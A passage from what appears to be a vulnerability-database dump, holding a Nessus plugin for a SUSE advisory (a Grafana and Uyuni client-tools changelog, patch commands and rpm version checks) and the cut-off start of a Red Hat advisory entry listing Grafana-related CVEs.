(#19115)'. #19346, @sunker\n\n - Docker: Upgrade packages to resolve reported\n vulnerabilities. #19188, @marefr\n\n - Graphite: Time range expansion reduced from 1 minute to\n 1 second. #19246, @torkelo\n\n - grafana/toolkit: Add plugin creation task. #19207,\n @dprokop\n\n - Bug Fixes\n\n - Alerting: Prevents creating alerts from unsupported\n queries. #19250, @hugohaggmark\n\n - Alerting: Truncate PagerDuty summary when greater than\n 1024 characters. #18730, @nvllsvm\n\n - Cloudwatch: Fix autocomplete for Gamelift dimensions.\n #19146, @kevinpz\n\n - Dashboard: Fix export for sharing when panels use\n default data source. #19315, @torkelo\n\n - Database: Rewrite system statistics query to perform\n better. #19178, @papagian\n\n - Gauge/BarGauge: Fix issue with [object Object] in titles\n . #19217, @ryantxu\n\n - MSSQL: Revert usage of new connectionstring format\n introduced by #18384. #19203, @marefr\n\n - Multi-LDAP: Do not fail-fast on invalid credentials.\n #19261, @gotjosh\n\n - MySQL, Postgres, MSSQL: Fix validating query with\n template variables in alert . #19237, @marefr\n\n - MySQL, Postgres: Update raw sql when query builder\n updates. #19209, @marefr\n\n - MySQL: Limit datasource error details returned from the\n backend. #19373, @marefr\n\nChanges from 6.4.0 Beta 1\n\n - Features / Enhancements\n\n - API: Readonly datasources should not be created via the\n API. #19006, @papagian\n\n - Alerting: Include configured AlertRuleTags in Webhooks\n notifier. #18233, @dominic-miglar\n\n - Annotations: Add annotations support to Loki. #18949,\n @aocenas\n\n - Annotations: Use a single row to represent a region.\n #17673, @ryantxu\n\n - Auth: Allow inviting existing users when login form is\n disabled. #19048, @548017\n\n - Azure Monitor: Add support for cross resource queries.\n #19115, @sunker\n\n - CLI: Allow installing custom binary plugins. #17551,\n @aocenas\n\n - Dashboard: Adds Logs Panel (alpha) as visualization\n option for Dashboards. #18641, @hugohaggmark\n\n - Dashboard: Reuse query results between panels . #16660,\n @ryantxu\n\n - Dashboard: Set time to to 23:59:59 when setting To time\n using calendar. #18595, @simPod\n\n - DataLinks: Add DataLinks support to Gauge, BarGauge and\n SingleStat2 panel. #18605, @ryantxu\n\n - DataLinks: Enable access to labels & field names.\n #18918, @torkelo\n\n - DataLinks: Enable multiple data links per panel. #18434,\n @dprokop\n\n - Docker: switch docker image to alpine base with\n phantomjs support. #18468, @DanCech\n\n - Elasticsearch: allow templating queries to order by\n doc_count. #18870, @hackery\n\n - Explore: Add throttling when doing live queries. #19085,\n @aocenas\n\n - Explore: Adds ability to go back to dashboard,\n optionally with query changes. #17982, @kaydelaney\n\n - Explore: Reduce default time range to last hour. #18212,\n @davkal\n\n - Gauge/BarGauge: Support decimals for min/max. #18368,\n @ryantxu\n\n - Graph: New series override transform constant that\n renders a single point as a line across the whole graph.\n #19102, @davkal\n\n - Image rendering: Add deprecation warning when PhantomJS\n is used for rendering images. #18933, @papagian\n\n - InfluxDB: Enable interpolation within ad-hoc filter\n values. #18077, @kvc-code\n\n - LDAP: Allow an user to be synchronized against LDAP.\n #18976, @gotjosh\n\n - Ldap: Add ldap debug page. #18759, @peterholmberg\n\n - Loki: Remove prefetching of default label values.\n #18213, @davkal\n\n - Metrics: Add failed alert notifications metric. #18089,\n @koorgoo\n\n - OAuth: Support JMES path lookup when retrieving user\n email. #14683, @bobmshannon\n\n - OAuth: return GitLab groups as a part of user info\n (enable team sync). #18388, @alexanderzobnin\n\n - Panels: Add unit for electrical charge - ampere-hour.\n #18950, @anirudh-ramesh\n\n - Plugin: AzureMonitor - Reapply MetricNamespace support.\n #17282, @raphaelquati\n\n - Plugins: better warning when plugins fail to load.\n #18671, @ryantxu\n\n - Postgres: Add support for scram sha 256 authentication.\n #18397, @nonamef\n\n - RemoteCache: Support SSL with Redis. #18511, @kylebrandt\n\n - SingleStat: The gauge option in now disabled/hidden\n (unless it's an old panel with it already enabled) .\n #18610, @ryantxu\n\n - Stackdriver: Add extra alignment period options. #18909,\n @sunker\n\n - Units: Add South African Rand (ZAR) to currencies.\n #18893, @jeteon\n\n - Units: Adding T,P,E,Z,and Y bytes. #18706, @chiqomar\n\n - Bug Fixes\n\n - Alerting: Notification is sent when state changes from\n no_data to ok. #18920, @papagian\n\n - Alerting: fix duplicate alert states when the alert\n fails to save to the database. #18216, @kylebrandt\n\n - Alerting: fix response popover prompt when add\n notification channels. #18967, @lzdw\n\n - CloudWatch: Fix alerting for queries with Id (using\n GetMetricData). #17899, @alex-berger\n\n - Explore: Fix auto completion on label values for Loki.\n #18988, @aocenas\n\n - Explore: Fixes crash using back button with a zoomed in\n graph. #19122, @hugohaggmark\n\n - Explore: Fixes so queries in Explore are only run if\n Graph/Table is shown. #19000, @hugohaggmark\n\n - MSSQL: Change connectionstring to URL format to fix\n using passwords with semicolon. #18384, @Russiancold\n\n - MSSQL: Fix memory leak when debug enabled. #19049,\n @briangann\n\n - Provisioning: Allow escaping literal '$' with '$$' in\n configs to avoid interpolation. #18045, @kylebrandt\n\n - TimePicker: Fixes hiding time picker dropdown in\n FireFox. #19154, @hugohaggmark\n\n - Breaking changes\n\n + Annotations There are some breaking changes in the\n annotations HTTP API for region annotations. Region\n annotations are now represented using a single event\n instead of two separate events. Check breaking changes\n in HTTP API below and HTTP API documentation for more\n details.\n\n + Docker Grafana is now using Alpine 3.10 as docker base\n image.\n\n + HTTP API\n\n - GET /api/alert-notifications now requires at least\n editor access.\n\nNew /api/alert-notifications/lookup returns less information than\n\n/api/alert-notifications and can be access by any authenticated user.\n\n - GET /api/alert-notifiers now requires at least editor\n access\n\n - GET /api/org/users now requires org admin role. New\n\n/api/org/users/lookup returns less information than /api/org/users and\ncan\n\nbe access by users that are org admins, admin in any folder or admin\nof\n\nany team.\n\n - GET /api/annotations no longer returns regionId\n property.\n\n - POST /api/annotations no longer supports isRegion\n property.\n\n - PUT /api/annotations/:id no longer supports isRegion\n property.\n\n - PATCH /api/annotations/:id no longer supports isRegion\n property.\n\n - DELETE /api/annotations/region/:id has been removed.\n\n - Deprecation notes\n\n + PhantomJS\n\n - PhantomJS, which is used for rendering images of\n dashboards and\n\npanels, is deprecated and will be removed in a future Grafana release.\nA\n\ndeprecation warning will from now on be logged when Grafana starts up\nif\n\nPhantomJS is in use. Please consider migrating from PhantomJS to the\n\nGrafana Image Renderer plugin.\n\nChanges from 6.3.6\n\n - Features / Enhancements\n\n - Metrics: Adds setting for turning off total stats\n metrics. #19142, @marefr\n\n - Bug Fixes\n\n - Database: Rewrite system statistics query to perform\n better. #19178, @papagian\n\n - Explore: Fixes error when switching from prometheus to\n loki data sources. #18599, @kaydelaney\n\nRebase package spec. Use mostly from fedora, fix suse specified things\nand fix some errors.\n\nAdd missing directories provisioning/datasources and\nprovisioning/notifiers and sample.yaml as described in\npackaging/rpm/control from upstream. Missing directories are shown in\nlogfiles.\n\nVersion 6.3.5\n\n - Upgrades\n\n + Build: Upgrade to go 1.12.9.\n\n - Bug Fixes\n\n + Dashboard: Fixes dashboards init failed loading error\n for dashboards with panel links that had missing\n properties.\n\n + Editor: Fixes issue where only entire lines were being\n copied.\n\n + Explore: Fixes query field layout in splitted view for\n Safari browsers.\n\n + LDAP: multildap + ldap integration.\n\n + Profile/UserAdmin: Fix for user agent parser crashes\n grafana-server on 32-bit builds.\n\n + Prometheus: Prevents panel editor crash when switching\n to Prometheus datasource.\n\n + Prometheus: Changes brace-insertion behavior to be less\n annoying.\n\nVersion 6.3.4\n\n - Security: CVE-2019-15043 - Parts of the HTTP API allow\n unauthenticated use.\n\nVersion 6.3.3\n\n - Bug Fixes\n\n + Annotations: Fix failing annotation query when time\n series query is cancelled. #18532 1, @dprokop 1\n\n + Auth: Do not set SameSite cookie attribute if\n cookie_samesite is none. #18462 1, @papagian 3\n\n + DataLinks: Apply scoped variables to data links\n correctly. #18454 1, @dprokop 1\n\n + DataLinks: Respect timezone when displaying\n datapoint’s timestamp in graph context\n menu. #18461 2, @dprokop 1\n\n + DataLinks: Use datapoint timestamp correctly when\n interpolating variables. #18459 1, @dprokop 1\n\n + Explore: Fix loading error for empty queries. #18488 1,\n @davkal\n\n + Graph: Fixes legend issue clicking on series line icon\n and issue with horizontal scrollbar being visible on\n windows. #18563 1, @torkelo 2\n\n + Graphite: Avoid glob of single-value array variables .\n #18420, @gotjosh\n\n + Prometheus: Fix queries with label_replace remove the $1\n match when loading query editor. #18480 5, @hugohaggmark\n 3\n\n + Prometheus: More consistently allows for multi-line\n queries in editor. #18362 2, @kaydelaney 2\n\n + TimeSeries: Assume values are all numbers. #18540 4,\n @ryantxu\n\nVersion 6.3.2\n\n - Bug Fixes\n\n + Gauge/BarGauge: Fixes issue with losts thresholds and\n issue loading Gauge with avg stat. #18375 12\n\nVersion 6.3.1\n\n - Bug Fixes\n\n + PanelLinks: Fix crash issue Gauge & Bar Gauge for panels\n with panel links (drill down links). #18430 2\n\nVersion 6.3.0\n\n - Features / Enhancements\n\n + OAuth: Do not set SameSite OAuth cookie if\n cookie_samesite is None. #18392 4, @papagian 3\n\n + Auth Proxy: Include additional headers as part of the\n cache key. #18298 6, @gotjosh\n\n + Build grafana images consistently. #18224 12,\n @hassanfarid\n\n + Docs: SAML. #18069 11, @gotjosh\n\n + Permissions: Show plugins in nav for non admin users but\n hide plugin configuration. #18234 1, @aocenas\n\n + TimePicker: Increase max height of quick range dropdown.\n #18247 2, @torkelo 2\n\n + Alerting: Add tags to alert rules. #10989 13, @Thib17 1\n\n + Alerting: Attempt to send email notifications to all\n given email addresses. #16881 1, @zhulongcheng\n\n + Alerting: Improve alert rule testing. #16286 2, @marefr\n\n + Alerting: Support for configuring content field for\n Discord alert notifier. #17017 2, @jan25\n\n + Alertmanager: Replace illegal chars with underscore in\n label names. #17002 5, @bergquist 1\n\n + Auth: Allow expiration of API keys. #17678, @papagian 3\n\n + Auth: Return device, os and browser when listing user\n auth tokens in HTTP API. #17504, @shavonn 1\n\n + Auth: Support list and revoke of user auth tokens in UI.\n #17434 2, @shavonn 1\n\n + AzureMonitor: change clashing built-in Grafana\n variables/macro names for Azure Logs. #17140, @shavonn 1\n\n + CloudWatch: Made region visible for AWS Cloudwatch\n Expressions. #17243 2, @utkarshcmu\n\n + Cloudwatch: Add AWS DocDB metrics. #17241, @utkarshcmu\n\n + Dashboard: Use timezone dashboard setting when exporting\n to CSV. #18002 1, @dehrax\n\n + Data links. #17267 11, @torkelo 2\n\n + Docker: Switch base image to ubuntu:latest from\n debian:stretch to avoid security\n issues… #17066 5, @bergquist 1\n\n + Elasticsearch: Support for visualizing logs in Explore .\n #17605 7, @marefr\n\n + Explore: Adds Live option for supported datasources.\n #17062 1, @hugohaggmark 3\n\n + Explore: Adds orgId to URL for sharing purposes. #17895\n 1, @kaydelaney 2\n\n + Explore: Adds support for new loki\n ‘start’ and\n ‘end’ params for\n labels endpoint. #17512, @kaydelaney 2\n\n + Explore: Adds support for toggling raw query mode in\n explore. #17870, @kaydelaney 2\n\n + Explore: Allow switching between metrics and logs .\n #16959 2, @marefr\n\n + Explore: Combines the timestamp and local time columns\n into one. #17775, @hugohaggmark 3\n\n + Explore: Display log lines context . #17097, @dprokop 1\n\n + Explore: Don’t parse log levels if\n provided by field or label. #17180 1, @marefr\n\n + Explore: Improves performance of Logs element by\n limiting re-rendering. #17685, @kaydelaney 2\n\n + Explore: Support for new LogQL filtering syntax. #16674\n 4, @davkal\n\n + Explore: Use new TimePicker from Grafana/UI. #17793,\n @hugohaggmark 3\n\n + Explore: handle newlines in LogRow Highlighter. #17425,\n @rrfeng 1\n\n + Graph: Added new fill gradient option. #17528 3,\n @torkelo 2\n\n + GraphPanel: Don’t sort series when\n legend table & sort column is not visible . #17095,\n @shavonn 1\n\n + InfluxDB: Support for visualizing logs in Explore.\n #17450 9, @hugohaggmark 3\n\n + Logging: Login and Logout actions (#17760). #17883 1,\n @ATTron\n\n + Logging: Move log package to pkg/infra. #17023,\n @zhulongcheng\n\n + Metrics: Expose stats about roles as metrics. #17469 2,\n @bergquist 1\n\n + MySQL/Postgres/MSSQL: Add parsing for day, weeks and\n year intervals in macros. #13086 6, @bernardd\n\n + MySQL: Add support for periodically reloading client\n certs. #14892, @tpetr\n\n + Plugins: replace dataFormats list with skipDataQuery\n flag in plugin.json. #16984, @ryantxu\n\n + Prometheus: Take timezone into account for step\n alignment. #17477, @fxmiii\n\n + Prometheus: Use overridden panel range for $__range\n instead of dashboard range. #17352, @patrick246\n\n + Prometheus: added time range filter to series labels\n query. #16851 3, @FUSAKLA\n\n + Provisioning: Support folder that\n doesn’t exist yet in dashboard\n provisioning. #17407 1, @Nexucis\n\n + Refresh picker: Handle empty intervals. #17585 1,\n @dehrax\n\n + Singlestat: Add y min/max config to singlestat\n sparklines. #17527 4, @pitr\n\n + Snapshot: use given key and deleteKey. #16876,\n @zhulongcheng\n\n + Templating: Correctly display __text in multi-value\n variable after page reload. #17840 1, @EduardSergeev\n\n + Templating: Support selecting all filtered values of a\n multi-value variable. #16873 2, @r66ad\n\n + Tracing: allow propagation with Zipkin headers. #17009\n 4, @jrockway\n\n + Users: Disable users removed from LDAP. #16820 2,\n @alexanderzobnin\n\n - Bug Fixes\n\n + PanelLinks: Fix render issue when there is no panel\n description. #18408 3, @dehrax\n\n + OAuth: Fix “missing saved\n state” OAuth login failure due to\n SameSite cookie policy. #18332 1, @papagian 3\n\n + cli: fix for recognizing when in dev\n mode… #18334, @xlson\n\n + DataLinks: Fixes incorrect interpolation of\n ${__series_name} . #18251 1, @torkelo 2\n\n + Loki: Display live tailed logs in correct order in\n Explore. #18031 3, @kaydelaney 2\n\n + PhantomJS: Fixes rendering on Debian Buster. #18162 2,\n @xlson\n\n + TimePicker: Fixed style issue for custom range popover.\n #18244, @torkelo 2\n\n + Timerange: Fixes a bug where custom time ranges\n didn’t respect UTC. #18248 1,\n @kaydelaney 2\n\n + remote_cache: Fix redis connstr parsing. #18204 1,\n @mblaschke\n\n + AddPanel: Fix issue when removing moved add panel widget\n . #17659 2, @dehrax\n\n + CLI: Fix encrypt-datasource-passwords fails with sql\n error. #18014, @marefr\n\n + Elasticsearch: Fix default max concurrent shard\n requests. #17770 4, @marefr\n\n + Explore: Fix browsing back to dashboard panel. #17061,\n @jschill\n\n + Explore: Fix filter by series level in logs graph.\n #17798, @marefr\n\n + Explore: Fix issues when loading and both graph/table\n are collapsed. #17113, @marefr\n\n + Explore: Fix selection/copy of log lines. #17121,\n @marefr\n\n + Fix: Wrap value of multi variable in array when coming\n from URL. #16992 1, @aocenas\n\n + Frontend: Fix for Json tree component not working.\n #17608, @srid12\n\n + Graphite: Fix for issue with alias function being moved\n last. #17791, @torkelo 2\n\n + Graphite: Fixes issue with seriesByTag & function with\n variable param. #17795, @torkelo 2\n\n + Graphite: use POST for /metrics/find requests. #17814 2,\n @papagian 3\n\n + HTTP Server: Serve Grafana with a custom URL path\n prefix. #17048 6, @jan25\n\n + InfluxDB: Fixes single quotes are not escaped in label\n value filters. #17398 1, @Panzki\n\n + Prometheus: Correctly escape\n ‘|’ literals in\n interpolated PromQL variables. #16932, @Limess\n\n + Prometheus: Fix when adding label for metrics which\n contains colons in Explore. #16760, @tolwi\n\n + SinglestatPanel: Remove background color when value\n turns null. #17552 1, @druggieri\n\nMake phantomjs dependency configurable\n\nCreate plugin directory and clean up (create in %install, add to\n%files) handling of /var/lib/grafana/* and\n\nmgr-cfg :\n\nRemove commented code in test files\n\nReplace spacewalk-usix with uyuni-common-libs\n\nBump version to 4.1.0 (bsc#1154940)\n\nAdd mgr manpage links\n\nmgr-custom-info :\n\nBump version to 4.1.0 (bsc#1154940)\n\nmgr-daemon :\n\nBump version to 4.1.0 (bsc#1154940)\n\nFix systemd timer configuration on SLE12 (bsc#1142038)\n\nmgr-osad :\n\nSeparate osa-dispatcher and jabberd so it can be disabled\nindependently\n\nReplace spacewalk-usix with uyuni-common-libs\n\nBump version to 4.1.0 (bsc#1154940)\n\nMove /usr/share/rhn/config-defaults to uyuni-base-common\n\nRequire uyuni-base-common for /etc/rhn (for osa-dispatcher)\n\nEnsure bytes type when using hashlib to avoid traceback (bsc#1138822)\n\nmgr-push :\n\nReplace spacewalk-usix and spacewalk-backend-libs with\nuyuni-common-libs\n\nBump version to 4.1.0 (bsc#1154940)\n\nmgr-virtualization :\n\nReplace spacewalk-usix with uyuni-common-libs\n\nBump version to 4.1.0 (bsc#1154940)\n\nFix mgr-virtualization timer\n\nrhnlib :\n\nFix building\n\nFix malformed XML response when data contains non-ASCII chars\n(bsc#1154968)\n\nBump version to 4.1.0 (bsc#1154940)\n\nFix bootstrapping SLE11SP4 trad client with SSL enabled (bsc#1148177)\n\nspacecmd :\n\nOnly report real error, not result (bsc#1171687)\n\nUse defined return values for spacecmd methods so scripts can check\nfor failure (bsc#1171687)\n\nDisable globbing for api subcommand to allow wildcards in filter\nsettings (bsc#1163871)\n\nBugfix: attempt to purge SSM when it is empty (bsc#1155372)\n\nBump version to 4.1.0 (bsc#1154940)\n\nPrevent error when piping stdout in Python 2 (bsc#1153090)\n\nJava api expects content as encoded string instead of encoded bytes\nlike before (bsc#1153277)\n\nEnable building and installing for Ubuntu 16.04 and Ubuntu 18.04\n\nAdd unit test for schedule, errata, user, utils, misc, configchannel\nand kickstart modules\n\nMultiple minor bugfixes alongside the unit tests\n\nBugfix: referenced variable before assignment.\n\nAdd unit test for report, package, org, repo and group\n\nspacewalk-client-tools :\n\nAdd workaround for uptime overflow to spacewalk-update-status as well\n(bsc#1165921)\n\nSpell correctly 'successful' and 'successfully'\n\nSkip dmidecode data on aarch64 to prevent coredump (bsc#1113160)\n\nReplace spacewalk-usix with uyuni-common-libs\n\nReturn a non-zero exit status on errors in rhn_check\n\nBump version to 4.1.0 (bsc#1154940)\n\nMake a explicit requirement to systemd for spacewalk-client-tools when\nrhnsd timer is installed\n\nspacewalk-koan :\n\nBump version to 4.1.0 (bsc#1154940)\n\nRequire commands we use in merge-rd.sh\n\nspacewalk-oscap :\n\nBump version to 4.1.0 (bsc#1154940)\n\nspacewalk-remote-utils :\n\nUpdate spacewalk-create-channel with RHEL 7.7 channel definitions\n\nBump version to 4.1.0 (bsc#1154940)\n\nsupportutils-plugin-susemanager-client :\n\nBump version to 4.1.0 (bsc#1154940)\n\nsuseRegisterInfo :\n\nSuseRegisterInfo only needs perl-base, not full perl (bsc#1168310)\n\nBump version to 4.1.0 (bsc#1154940)\n\nzypp-plugin-spacewalk :\n\nPrevent issue with non-ASCII characters in Python 2 systems\n(bsc#1172462)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-102\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1113160\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1134195\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1138822\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1141661\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1142038\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1143913\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1148177\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1153090\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1153277\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1154940\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1154968\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1155372\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1163871\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1165921\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1168310\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1170231\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1170557\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1171687\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1172462\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-10215/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-15043/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2020-12245/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2020-13379/\"\n );\n # https://www.suse.com/support/update/announcement/2020/suse-su-20201970-1\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?495a9824\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\n\"To install this SUSE Security Update use the SUSE recommended\ninstallation methods like YaST online_update or 'zypper patch'.\n\nAlternatively you can run the command listed for your product :\n\nSUSE OpenStack Cloud Crowbar 9 :\n\nzypper in -t patch SUSE-OpenStack-Cloud-Crowbar-9-2020-1970=1\n\nSUSE OpenStack Cloud Crowbar 8 :\n\nzypper in -t patch SUSE-OpenStack-Cloud-Crowbar-8-2020-1970=1\n\nSUSE OpenStack Cloud 9 :\n\nzypper in -t patch SUSE-OpenStack-Cloud-9-2020-1970=1\n\nSUSE OpenStack Cloud 8 :\n\nzypper in -t patch SUSE-OpenStack-Cloud-8-2020-1970=1\n\nSUSE Manager Tools 12 :\n\nzypper in -t patch SUSE-SLE-Manager-Tools-12-2020-1970=1\n\nSUSE Linux Enterprise Server for SAP 12-SP4 :\n\nzypper in -t patch SUSE-SLE-SAP-12-SP4-2020-1970=1\n\nSUSE Linux Enterprise Server for SAP 12-SP3 :\n\nzypper in -t patch SUSE-SLE-SAP-12-SP3-2020-1970=1\n\nSUSE Linux Enterprise Server 12-SP5 :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP5-2020-1970=1\n\nSUSE Linux Enterprise Server 12-SP4-LTSS :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP4-LTSS-2020-1970=1\n\nSUSE Linux Enterprise Server 12-SP3-LTSS :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP3-2020-1970=1\n\nSUSE Linux Enterprise Server 12-SP3-BCL :\n\nzypper in -t patch SUSE-SLE-SERVER-12-SP3-BCL-2020-1970=1\n\nSUSE Enterprise Storage 5 :\n\nzypper in -t patch SUSE-Storage-5-2020-1970=1\n\nHPE Helion Openstack 8 :\n\nzypper in -t patch HPE-Helion-OpenStack-8-2020-1970=1\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:golang-github-prometheus-node_exporter\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:suse_linux:12\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/09/03\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/07/21\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/07/21\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release !~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"SUSE\");\nos_ver = pregmatch(pattern: \"^(SLE(S|D)\\d+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"SUSE\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^(SLES12)$\", string:os_ver)) audit(AUDIT_OS_NOT, \"SUSE SLES12\", \"SUSE \" + os_ver);\n\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^i[3-6]86$\" && \"x86_64\" >!< cpu && \"s390x\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"SUSE \" + os_ver, cpu);\n\nsp = get_kb_item(\"Host/SuSE/patchlevel\");\nif (isnull(sp)) sp = \"0\";\nif (os_ver == \"SLES12\" && (! preg(pattern:\"^(3|4|5)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLES12 SP3/4/5\", os_ver + \" SP\" + sp);\n\n\nflag = 0;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"golang-github-prometheus-node_exporter-0.18.1-1.6.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"golang-github-prometheus-node_exporter-0.18.1-1.6.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"5\", reference:\"golang-github-prometheus-node_exporter-0.18.1-1.6.2\")) flag++;\n\n\nif (flag)\n{\n set_kb_item(name:'www/0/XSS', value:TRUE);\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"SUSE Manager Client Tools\");\n}\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-09-14T18:17:01", "description": "The remote Redhat Enterprise Linux 8 host has packages installed that are affected by multiple vulnerabilities as\nreferenced in the RHSA-2020:2861 advisory.\n\n - kubernetes: YAML parsing vulnerable to Billion Laughs\n attack, allowing for remote denial of service\n (CVE-2019-11253)\n\n - grafana: XSS annotation popup vulnerability\n (CVE-2020-12052)\n\n - grafana: XSS via column.title or cellLinkTooltip\n (CVE-2020-12245)\n\n - grafana: SSRF incorrect access control vulnerability\n allows unauthenticated users to make grafana send HTTP\n requests to any URL (CVE-2020-13379)\n\n - grafana: XSS via the OpenTSDB datasource\n (CVE-2020-13430)\n\n - npm-serialize-javascript: allows remote attackers to\n inject arbitrary code via the function deleteFunctions\n within index.js (CVE-2020-7660)\n\n - npmjs-websocket-extensions: ReDoS vulnerability in Sec-\n WebSocket-Extensions parser (CVE-2020-7662)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.", "edition": 4, "cvss3": {"score": 8.1, "vector": "AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-07-07T00:00:00", "title": "RHEL 8 : Red Hat OpenShift Service Mesh 1.0 servicemesh-grafana (RHSA-2020:2861)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-13430", "CVE-2020-7660", "CVE-2019-11253", "CVE-2020-12245", "CVE-2020-13379", "CVE-2020-7662", "CVE-2020-12052"], "modified": "2020-07-07T00:00:00", "cpe": ["cpe:/a:redhat:service_mesh:1.0", "p-cpe:/a:redhat:enterprise_linux:servicemesh-grafana", "cpe:/a:redhat:service_mesh:1.0::el8", "p-cpe:/a:redhat:enterprise_linux:servicemesh-grafana-prometheus", "cpe:/o:redhat:enterprise_linux:8"], "id": "REDHAT-RHSA-2020-2861.NASL", "href": "https://www.tenable.com/plugins/nessus/138178", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Red Hat Security Advisory RHSA-2020:2861. The text\n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(138178);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/08/14\");\n\n script_cve_id(\n \"CVE-2019-11253\",\n \"CVE-2020-7660\",\n \"CVE-2020-7662\",\n 